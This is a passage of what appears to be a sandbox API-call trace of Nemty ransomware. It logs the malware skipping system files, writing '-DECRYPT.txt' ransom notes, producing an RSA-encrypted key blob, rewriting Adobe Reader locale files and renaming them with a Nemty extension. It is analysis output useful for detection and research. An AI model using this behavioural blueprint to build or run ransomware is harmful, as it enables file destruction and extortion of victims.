lpString2="...") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="windows") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="$RECYCLE.BIN") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="rsa") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="NTDETECT.COM") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="ntldr") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="MSDOS.SYS") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="IO.SYS") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="boot.ini") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="boot.ini") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="AUTOEXEC.BAT") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="ntuser.dat") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="desktop.ini") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="CONFIG.SYS") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="RECYCLER") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="BOOTSECT.BAK") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="bootmgr") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="programdata") returned 1 [0186.179] lstrcmpiW (lpString1="zh_TW", lpString2="appdata") returned 1 [0186.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_TW", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0186.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_TW", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh_TW", lpUsedDefaultChar=0x0) returned 5 [0186.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_TW", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0186.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_TW", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh_TW", lpUsedDefaultChar=0x0) returned 5 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0186.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0186.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0186.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0186.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0186.323] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.323] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0186.324] CloseHandle (hObject=0x254) returned 1 [0186.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0186.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.325] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.325] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0186.326] CloseHandle (hObject=0x254) returned 1 [0186.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.326] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22b20a50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22b20a50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0186.326] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.326] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22b20a50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22b20a50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0186.326] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.326] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.326] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2=".") returned 1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="..") returned 1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="...") returned 1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="windows") returned -1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="rsa") returned -1 [0186.326] lstrcmpiW (lpString1="accessibility.CHT", lpString2="NTDETECT.COM") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="ntldr") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="MSDOS.SYS") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="IO.SYS") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="boot.ini") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="boot.ini") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="AUTOEXEC.BAT") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="ntuser.dat") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="desktop.ini") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="CONFIG.SYS") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="RECYCLER") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="BOOTSECT.BAK") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="bootmgr") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="programdata") returned -1 [0186.327] lstrcmpiW (lpString1="accessibility.CHT", lpString2="appdata") returned -1 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHT", lpUsedDefaultChar=0x0) returned 17 [0186.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHT", lpUsedDefaultChar=0x0) returned 17 [0186.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHT", lpUsedDefaultChar=0x0) returned 17 [0186.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0186.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHT", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHT", lpUsedDefaultChar=0x0) returned 17 [0186.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.328] Sleep (dwMilliseconds=0x5) [0186.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22b6cd10, dwHighDateTime=0x1d561e8)) [0186.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22b6cd10, dwHighDateTime=0x1d561e8)) [0186.340] GetLastError () returned 0xb7 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.340] GetLastError () returned 0xb7 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.340] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.340] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="86KA+SqJeVamml3GP6eIUnSXs/6w3cHOXaMeQ0fByq5BVHZqxZUVAENcU3AmfBh6\r\n8+mEUUHiNp9xIxFConiAE+2c5j9gJA06PjUzxB5nmfElSTyViVg5cZbyjKqqVA2k\r\nlTHJCognY0Ql3F1Hd/OGTt8aID1c4lcnecgP1gfuXazULhUNS0Pp3Ub1QRP15xyN\r\n9PylsFVgx9FiSVkou1qlEvfrXVQCKnh048wBfdQZ5Ne1DlYTn9o1O4BKGhD+UeC3\r\nT9R9crd+PaBtMcw2BvuDRdcMx2vK/RtxoV8Zs/lNl5n4xnAB2WPQjd8CKAXI9huh\r\nD5vgKJTRun41vL3ayaZvpw==\r\n", pcchString=0x653e5dc) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\accessibility.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\accessibility.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.342] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0186.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0186.342] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.342] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0186.345] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.345] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0186.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.345] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0186.345] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.345] CloseHandle (hObject=0x2e8) returned 1 [0186.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.346] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\accessibility.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\accessibility.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\accessibility.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\accessibility.cht._nemty_kgobjgd_")) returned 1 [0186.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.347] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.CHT", cAlternateFileName="")) returned 1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2=".") returned 1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="..") returned 1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="...") returned 1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="windows") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="rsa") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="NTDETECT.COM") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="ntldr") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="MSDOS.SYS") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="IO.SYS") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="boot.ini") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="boot.ini") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="AUTOEXEC.BAT") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="ntuser.dat") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="desktop.ini") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="CONFIG.SYS") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="RECYCLER") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="BOOTSECT.BAK") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="bootmgr") returned -1 [0186.347] 